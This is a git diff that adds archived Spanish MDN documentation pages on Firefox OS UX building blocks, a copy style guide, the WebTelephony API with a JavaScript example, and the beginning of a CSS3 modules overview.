+      <th scope="row">Presionado</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4783/phone-answer-pressed.png" style="width: 130px; height: 40px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4789/phone-hangup-pressed.png" style="width: 130px; height: 40px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4795/hide-dialer-pressed.png" style="width: 130px; height: 40px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Deshabilitado</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4779/phone-answer-disabled.png" style="width: 130px; height: 40px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4785/phone-hangup-disabled.png" style="width: 130px; height: 40px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4791/hide-dialer-disabled.png" style="width: 130px; height: 40px;"></td>
+    </tr>
+  </tbody>
+</table>
+<h4 id="Botones_personalizados">Botones personalizados</h4>
+<p>Estos son ejemplos de botones personalizados; en este caso, para añadir un contacto.</p>
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <th scope="row">Normal</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4799/generic-normal.png" style="width: 90px; height: 40px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Presionado</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4801/generic-pressed.png" style="width: 90px; height: 40px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Deshabilitado</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4797/generic-disabled.png" style="width: 90px; height: 40px;"></td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Ver_también">Ver también</h2>
+<ul>
+  <li><a href="/es/docs/Mozilla/Firefox_OS/UX" title="/en-US/docs/Mozilla/Firefox_OS/UX">Firefox OS experiencia de usuario</a></li>
+  <li><a href="/es/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding">Estilo de codificación de botones</a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/ux/building_blocks/index.html b/files/es/archive/b2g_os/ux/building_blocks/index.html
new file mode 100644
index 0000000000..33fc3c8a70
--- /dev/null
+++ b/files/es/archive/b2g_os/ux/building_blocks/index.html
@@ -0,0 +1,268 @@
+---
+title: Componentes básicos de UX de Firefox OS
+slug: Archive/B2G_OS/UX/Building_blocks
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks/1.x
+---
+<p><span class="hps">Aquí encontrarás</span> <span class="hps">una descripción de</span> <span class="hps">los elementos de</span> <span class="hps">la interfaz de usuario comunes en las <span class="hps">aplicaciones</span></span> <span class="hps">de</span> <span class="hps">Firefox</span>  <span class="hps">OS,</span> además de<span class="hps"> ejemplos de</span> <span class="hps">cómo</span> <span class="hps">debe verse y</span> <span class="hps">funcionar.</span></p>
+
+<table class="withoutBorder">
+ <tbody>
+  <tr>
+   <td colspan="2">
+    <h2 id="Menú_de_acciones">Menú de acciones</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 180px; vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4635/action-menu.png" style="height: 240px; width: 160px;"><br>
+      <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding">Guía del programador</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Botón">Botón</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4639/secondary-buttons.png" style="height: 139px; width: 140px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding">Guía del programador</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Confirmación">Confirmación</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p><img alt="" src="https://mdn.mozillademos.org/files/4803/confirmation-example.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Confirmation">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Confirmation/Coding">Guía del programador</a><br>
+      </p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Filtro">Filtro</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4825/filter-visual-bottom" style="height: 241px; width: 161px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Filter">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Filter/Coding">Guía del programador</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Cabecera">Cabecera</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4845/header-default.png" style="height: 27px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Header">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Header/Coding">Guía del programador</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Área_de_entrada">Área de entrada</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4859/sample-sms-bottom-input.png" style="height: 241px; width: 161px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Input_area">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Input_area/Coding">Guía del programador</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Lista">Lista</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4889/list-example" style="height: 119px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/List">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/List/Coding">Guía del programador</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Menú_de_objetos">Menú de objetos</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4891/object-menu-idle.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Object_menu">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding">Guía del programador</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Indicador_de_progreso_y_actividad">Indicador de progreso y actividad</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4897/progress-bar-example.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Progress_and_activity">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Progress_and_activity/Coding">Guía del prgramador</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Desplazamiento_por_letras">Desplazamiento por letras</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4917/scrolling-index-scroll-dark.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Scrolling">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Scrolling/Coding">Guía del programador</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Barra_de_búsqueda">Barra de búsqueda</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4923/seekbar-sample.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Seek_bar">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Seek_bar/Coding">Guía del programador</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <h2 id="Estado">Estado</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4637/banner.png" style="height: 240px; width: 160px;"><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Status">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Status/Coding">Guía del programador</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Interruptor">Interruptor</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4925/switch-settings-sample.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Switch">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Switch/Coding">Guía del programador</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Pestañas">Pestañas</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4955/tab-screenshot.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Tabs">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Tabs/Coding">Guía del programador</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Barra_de_herramientas">Barra de herramientas</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4967/toolbar-sample.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Toolbar">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Toolbar/Coding">Guía del programador</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2" style="vertical-align: top;">
+    <h2 id="Selector_de_valor">Selector de valor</h2>
+   </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">
+    <p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/4975/selector-nested.png" style="height: 240px; width: 160px;"></p>
+
+    <p style="text-align: center;"><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Value_selector">Detalles</a><br>
+     <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Value_selector/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Value_selector/Coding">Guía del programador</a></p>
+   </td>
+   <td style="vertical-align: top;">
+    <p> </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/es/archive/b2g_os/ux/guia_estilo/index.html b/files/es/archive/b2g_os/ux/guia_estilo/index.html
new file mode 100644
index 0000000000..5a205c7bdf
--- /dev/null
+++ b/files/es/archive/b2g_os/ux/guia_estilo/index.html
@@ -0,0 +1,62 @@
+---
+title: Guía de estilo de Firefox OS
+slug: Archive/B2G_OS/UX/Guia_estilo
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Copy_styleguide
+---
+<p>Hemos puesto a su disposición elementos de diseño visual, incluyendo componentes básicos, plantillas, fondos de pantalla y más, que puede descargarlos desde nuestra <a href="https://assets.mozillalabs.com/Projects/Firefox%20OS/UX/VsD/v01.0/">colección de elementos</a>.</p>
+<h2 id="Iconos_para_aplicaciones">Iconos para aplicaciones</h2>
+<p>¿Necesita ayuda para crear un icono para su aplicación? <a href="http://www.mozilla.org/en-US/styleguide/products/firefoxos/icons/">Échele un vistazo a nuestras pautas y plantillas</a>.</p>
+<h2 id="Tono_de_voz_del_texto">Tono de voz del texto</h2>
+<h3 id="Títulos">Títulos</h3>
+<ul>
+  <li>No Escriba Así. Solo ponga en mayúscula la primera letra de la oración —y los nombres propios—</li>
+  <li>Limítese a una línea</li>
+  <li>No coloque puntuación al final, excepto si el título es una pregunta</li>
+  <li>Trate de adelantar lo principal del mensaje en las primeras palabras</li>
+</ul>
+<h3 id="Botones">Botones</h3>
+<ul>
+  <li>No Escriba Así: el <em>Title Case</em> que se utiliza ampliamente en el idioma inglés es incorrecto en español. Solo use mayúsculas al comienzo de la oración</li>
+  <li>El texto debe limitarse a un par de palabras</li>
+  <li>Use verbos que describan concisamente la acción del botón. Por ejemplo: «Cancelar», «Limpiar historial», «Añadir correo», «Seleccionar todo».</li>
+</ul>
+<h3 id="Listas_de_selector_de_valores">Listas de selector de valores</h3>
+<ul>
+  <li>No Escriba Así. Solo ponga en mayúscula la primera letra de la oración</li>
+  <li>El texto debe limitarse a un par de palabras</li>
+</ul>
+<h3 id="Mejores_prácticas_generales">Mejores prácticas generales</h3>
+<ul>
+  <li>Evite usar terminología técnica</li>
+  <li>Intente explicar concisamente la situación y lo que el usuario puede hacer para resolverla.</li>
+  <li>En la mayoría de las situaciones, evite palabras como «usted», «su», «por favor», etc. No haga distinción entre el usuario y el dispositivo.</li>
+  <li>No añada artículos antes de los nombres de las aplicaciones. Por ejemplo, use «Tome fotos con Cámara» en lugar de «Tome fotos con la Cámara».</li>
+  <li>Los nombres de aplicaciones se escriben con mayúscula inicial, pero los ajustes individuales o modos se escriben con minúscula.</li>
+  <li>Use comillas tipográficas («», “”), no las comunes ("")</li>
+</ul>
+<h3 id="Formularios">Formularios</h3>
+<ul>
+  <li>Los botones negativos aparecen en el lado izquierdo y los positivos en el derecho.</li>
+  <li>Las etiquetas genéricas son «Cancelar» y «Aceptar».</li>
+</ul>
+<h3 id="Términos_específicos">Términos específicos</h3>
+<ul>
+  <li>Use «pulse» en vez de «seleccione», «presione», etc.</li>
+  <li>Use «Iniciar sesión», no «Entrar»</li>
+  <li>Use «Teléfono», no «Dispositivo»</li>
+  <li>Use «Espacio», no «Almacenamiento»</li>
+  <li>Use «❙ / ○» para controles de tipo interruptor.</li>
+  <li>Use «Wi-Fi», no «WiFi» ni «wifi».</li>
+</ul>
+<h3 id="Cómo_mostrar_unidades_de_tamaños_de_archivo">Cómo mostrar unidades de tamaños de archivo</h3>
+<ul>
+  <li>Si es menor a 1 KB, muestre <strong>&lt;1KB</strong></li>
+  <li>De 1KB a 1.023 KB, muestre <strong>536 KB</strong></li>
+  <li>De 1 MB a 1.047 MB, muestre <strong>2,1 MB</strong> (con una coma decimal)</li>
+  <li>Para 1 GB y más, muestre <strong>3,3 GB</strong> (con una coma decimal)</li>
+</ul>
+<h2 id="Véase_también">Véase también</h2>
+<ul>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX" title="/en-US/docs/Mozilla/Firefox_OS/UX">Experiencia del usuario de Firefox OS</a></li>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks">Componentes básicos de experiencia del usuario de Firefox OS</a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/web_telephony_api/index.html b/files/es/archive/b2g_os/web_telephony_api/index.html
new file mode 100644
index 0000000000..149350095e
--- /dev/null
+++ b/files/es/archive/b2g_os/web_telephony_api/index.html
@@ -0,0 +1,28 @@
+---
+title: Web Telephony API
+slug: Archive/B2G_OS/Web_Telephony_API
+tags:
+  - NeedsTranslation
+  - Phone
+  - Telephony
+  - TopicStub
+  - Voice
+  - WebAPI
+translation_of: Archive/B2G_OS/Web_Telephony_API
+---
+<p><span class="seoSummary">WebTelephony is an API that makes it possible for web content to handle voice phone calls from JavaScript code.</span></p>
+<p>The API is available using <a href="/es/docs/Web/API/Window/navigator/mozTelephony" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>window.navigator.mozTelephony</code></a>. See below for a full list of interfaces:</p>
+<h2 id="DOM_interfaces">DOM interfaces</h2>
+<ul>
+  <li><a href="/es/docs/Web/API/Window/navigator/mozTelephony" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>window.navigator.mozTelephony</code></a></li>
+  <li><a href="/en-US/docs/Web/API/Telephony"><code>Telephony</code></a></li>
+  <li><a href="/en-US/docs/Web/API/TelephonyCall"><code>TelephonyCall</code></a></li>
+  <li><a href="/en-US/docs/Web/API/CallEvent"><code>CallEvent</code></a></li>
+</ul>
+<h2 id="Sample_code_and_introduction">Sample code and introduction</h2>
+<div>
+  <ul><li><a href="/es/docs/Archive/B2G_OS/Web_Telephony_API/Introduccion_a_la_WebTelephony">Introducción a la WebTelephony</a></li></ul></div>
+<h2 id="See_also">See also</h2>
+<ul>
+  <li><a class="link-https" href="https://wiki.mozilla.org/WebAPI/WebTelephony">WebTelephony API</a> (design document)</li>
+</ul>
diff --git a/files/es/archive/b2g_os/web_telephony_api/introduccion_a_la_webtelephony/index.html b/files/es/archive/b2g_os/web_telephony_api/introduccion_a_la_webtelephony/index.html
new file mode 100644
index 0000000000..1b7eb653f8
--- /dev/null
+++ b/files/es/archive/b2g_os/web_telephony_api/introduccion_a_la_webtelephony/index.html
@@ -0,0 +1,64 @@
+---
+title: Introducción a la WebTelephony
+slug: Archive/B2G_OS/Web_Telephony_API/Introduccion_a_la_WebTelephony
+translation_of: Archive/B2G_OS/Web_Telephony_API/Using_the_Web_Telephony_API
+---
+<p><span id="result_box" lang="es"><span class="hps">La base</span> <span class="hps">de acceder a la</span> <span class="hps">funcionalidad del teléfono</span> <span class="hps">es</span> <span class="hps">simplemente a través de</span> <code>navigator.mozTelephony</code><span>,</span> <span class="hps">que es</span> <span class="hps">parte de la <a class="link-https" href="https://wiki.mozilla.org/WebAPI/WebTelephony">WebTelephony API</a></span><span>.</span> <span class="hps">Una vez que tenga</span> <span class="hps">una referencia a</span> <span class="hps">ese objeto</span> <span class="hps">se puede</span> <span class="hps">empezar a hacer</span> <span class="hps">y</span> <span class="hps">de recibir</span> <span class="hps">llamadas.</span> <span class="hps">Aquí hay algunos</span> <span class="hps">ejemplos</span><span>:</span></span></p>
+<pre class="brush: js">// Objeto telephony
+var tel = navigator.mozTelephony;
+
+// <span id="result_box" lang="es"><span class="hps">Comprueba</span> <span class="hps">si el teléfono</span> <span class="hps">está silenciado</span> <span class="hps atn">(</span><span>propiedad</span> <span class="hps">de lectura/escritura)</span></span>
+console.log(tel.muted);
+
+// <span id="result_box" lang="es"><span class="hps">Comprueba si el</span> <span class="hps">altavoz</span> <span class="hps">está activado</span> <span class="hps atn">(</span><span>propiedad</span> de lectura<span class="hps">/escritura)</span></span>
+console.log(tel.speakerEnabled);
+
+// <span class="short_text" id="result_box" lang="es"><span class="hps">Realizar una llamada</span></span>
+var call = tel.dial("123456789");
+
+// <span class="short_text" id="result_box" lang="es"><span class="hps">Eventos para</span> <span class="hps">esa llamada</span></span>
+call.onstatechange = function (event) {
+    /*
+        Valores posibles del estado:
+        "dialing", "ringing", "busy", "connecting", "connected",
+        "disconnecting", "disconnected", "incoming"
+    */
+    console.log(event.state);
+};
+
+// <span class="short_text" id="result_box" lang="es"><span class="hps">Opciones anteriores</span> <span class="hps">como eventos</span> <span class="hps">directos</span></span>
+
+      // Conectar llamada
+       call.onconnected = function ();
+
+      // Desconectar llamada
+      call.ondisconnected = function ();
+
+      // Resivir una llamada
+      tel.onincoming = function (event) {
+      var incomingCall = event.call;
+
+    // <span class="short_text" id="result_box" lang="es"><span class="hps">Obtener el</span> <span class="hps">número de</span> <span class="hps">la llamada entrante</span></span>
+    console.log(incomingCall.number);
+
+    // <span class="short_text" id="result_box" lang="es"><span class="hps">Responder a la llamada</span></span>
+    incomingCall.answer();
+};
+
+// Desconectar llamada
+call.hangUp();
+
+
+// <span id="result_box" lang="es"><span class="hps">Iteración</span> <span class="hps">sobre las llamadas</span><span>,</span> <span class="hps">y</span> <span class="hps">la adopción de medidas</span> <span class="hps">en función de su</span> <span class="hps">estado de cambiado</span></span>
+tel.oncallschanged = function (event) {
+    tel.calls.forEach(function (call) {
+        // Registrar el estado de cada llamada
+        console.log(call.state);
+    });
+};
+</pre>
+<h2 id="Ver_también">Ver también</h2>
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/Telephony">WebTelephony</a></li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/WebAPI/WebTelephony" title="https://wiki.mozilla.org/WebAPI/WebTelephony">WebTelephony API</a> (<span class="short_text" id="result_box" lang="es"><span class="hps">documento en diseño</span></span>)</li>
+</ul>
diff --git a/files/es/archive/css3/index.html b/files/es/archive/css3/index.html
new file mode 100644
index 0000000000..492e22e423
--- /dev/null
+++ b/files/es/archive/css3/index.html
@@ -0,0 +1,822 @@
+---
+title: CSS3
+slug: Archive/CSS3
+translation_of: Archive/CSS3
+---
+<p><span class="seoSummary"><strong>CSS3</strong> es la última evolución del lenguaje de las <em>Hojas de Estilo en Cascada</em> <em>(</em>Cascading Style Sheets), y pretende ampliar la versión CSS2.1. Trae consigo muchas novedades altamente esperadas , como las esquinas redondeadas, sombras, <a href="/es/docs/CSS/Using_CSS_gradients" title="Using CSS gradients">gradientes</a> , <a href="/es/docs/Web/CSS/Transiciones_de_CSS" title="CSS transitions">transiciones</a> o <a href="/es/docs/Web/CSS/Usando_animaciones_CSS" title="CSS animations">animaciones</a>, y nuevos <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Layout">layouts</a> como <a href="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts" title="Using CSS multi-column layouts">multi-columnas</a>, cajas flexibles o maquetas de diseño en cuadrícula (grid layouts).</span></p>
+
+<p>Las partes experimentales son particulares para cada navegador y deberían ser evitadas en entornos de producción, o usadas con extrema precaución, ya que tanto la sintaxis como la semántica pueden cambiar en el futuro.</p>
+
+<h2 id="Los_módulos_y_el_proceso_de_estandarización">Los módulos y el proceso de estandarización</h2>
+
+<p>El Nivel 2 de CSS necesitó 9 años, desde Agosto de 2002 hasta Junio de 2011, para alcanzar el estado de Recomendación. Esto fué debido al hecho de que algunas características secundarias fueron retiradas de las especificaciones globales, con el fin de acelerar la normalización de las características no problemáticas, el <a class="external" href="http://www.w3.org/blog/CSS/" title="http://www.w3.org/blog/CSS/">Grupo de Trabajo CSS</a> de la W3C, en una decisión referida como la <a class="external" href="http://fantasai.inkedblade.net/weblog/2011/inside-csswg/modules" title="http://fantasai.inkedblade.net/weblog/2011/inside-csswg/modules">doctrina Beijing</a>  dividió CSS en componentes más pequeños llamados <em>módulos</em> cada uno de estos módulos es ahora una parte independiente del lenguaje y se dirije a la estandarización a su propio ritmo mientras algunos módulos son ya recomendados de la W3C, otros todavía son borradores iniciales tambíen se añaden nuevos módulos cuando se identifican nuevas necesidades.</p>
+
+<p><a href="/@api/deki/files/6120/=CSS_Modules_and_Snapshots.png" title="CSS_Modules_and_Snapshots.png"><img alt="CSS Modules and Snapshots as defined since CSS3" class="internal lwrap" src="/files/3623/CSS_Modules_and_Snapshots.png" style="float: left; width: 550px;"> </a></p>
+
+<p>Formalmente, no existe un estandar de CSS3 por sí solo cada módulo es estandarizado independientemente, por lo que el estandar CSS consiste en CSS2.1 modificado y extendido por módulos terminados, no necesariamente todos con el mismo nivel numérico por tanto, puede ser definido un panorama del CSS estandar listando (enumerando) CSS2.1 y los módulos maduros.</p>
+
+<p>El consorcio W3 publica periodicamente ciertos <em>snapshots</em>(imágenes), como en <a href="http://www.w3.org/TR/css-beijing/">2007</a> o <a href="http://www.w3.org/TR/css-2010/">2010</a>.</p>
+
+<p>Aunque hoy en día ningún módulo con nivel mayor al 3 es estandarizado, esto cambiará en el futuro. Algunos módulos, como <em>Selectors 4</em> o <em>CSS Borders</em> y <em>Backgrounds</em> nivel 4 tienen ya un borrador de edición pese a que aún  no tienen un estatus de primer borrador de trabajo.</p>
+
+<h2 id="Estado_de_los_módulos_CSS" style="">Estado de los módulos CSS</h2>
+
+<h3 id="Módulos_estables">Módulos estables</h3>
+
+<p>Unos pocos módulos CSS son lo suficientemente estables y han alcanzado uno de los tres niveles de recomendación de <em>CSSWG</em>: Candidato (<em>Candidate</em>), Recomendación (<em>Recommendation</em>), Recomendación propuesta o Recomendación  (<em>Proposed Recommendation</em> <em>or</em> <em>Recommendation</em>). Estos puden ser usados sin un prefijo y son muy estables aunque algunas características aun pueden ser eliminadas de la etapa de <em>Candidate Recommendation</em>.</p>
+
+<p>Estos módulos extienden y mejoran la especificación CSS2.1 la cual construye el núcleo de la especificación. Juntos, son el <em>snapshot </em>actual de la especificación CSS.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="thirdColumn greenBg"><strong>{{ SpecName("CSS3 Colors", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Colors") }} desde el 7 de Junio de 2011</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Agrega la propiedad {{ cssxref("opacity") }} y las funciones <code>hsl</code><code>()</code>, <code>hsla()</code>, <code>rgba()</code> and <code>rgb()</code> para crear los valores {{cssxref("&lt;color&gt;")}}. También define la palabra clave <code>currentColor</code> como un color válido.</p>
+
+    <p>Ahora el color transparente es un color real (gracias al soporte para el canal <em>alpha</em>) y es un alias para <code>rgba(0,0,0,0.0)</code> .</p>
+
+    <p>Deja obsoleto las <em>keyworks</em> del sistema de colores (<em>system-color</em>) <a href="http://www.w3.org/TR/CSS2/ui.html#system-colors">las cuales ya no deberían ser usadas en ambientes de producción</a>.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Selectors", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Selectors") }} desde el 29 de Septiembre de 2011</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Agrega:</p>
+
+    <ul>
+     <li>Atributo substring selector de igualdad, <code>E[attribute^="value"]</code> , <code>E[attribute$="value"]</code> , <code>E[attribute*="value"]</code> .</li>
+     <li>Nuevas pseudo-clases: {{ cssxref(":target") }}, {{ cssxref(":enabled") }} y {{ cssxref(":disabled") }}, {{ cssxref(":checked") }}, {{ cssxref(":indeterminate") }}, {{ cssxref(":root") }}, {{ cssxref(":nth-child") }} y {{ cssxref(":nth-last-child") }}, {{ cssxref(":nth-of-type") }} y {{ cssxref(":nth-last-of-type") }}, {{ cssxref(":last-child") }}, {{ cssxref(":first-of-type") }} y {{ cssxref(":last-of-type") }}, {{ cssxref(":only-child") }} y {{ cssxref(":only-of-type") }},{{ cssxref(":empty") }}, y {{ cssxref(":not") }}.</li>
+     <li>Los Pseudo-elementos ahora son caracterizados por un par de dos puntos en vez de sólo uno: <code>:after</code> ahora es {{ cssxref("::after") }}, <code>:before</code> ahora es {{ cssxref("::before") }}, <code>:first-letter</code> ahora es {{ cssxref("::first-letter") }}, y <code>:first-line</code> ahora es {{ cssxref("::first-line") }}.</li>
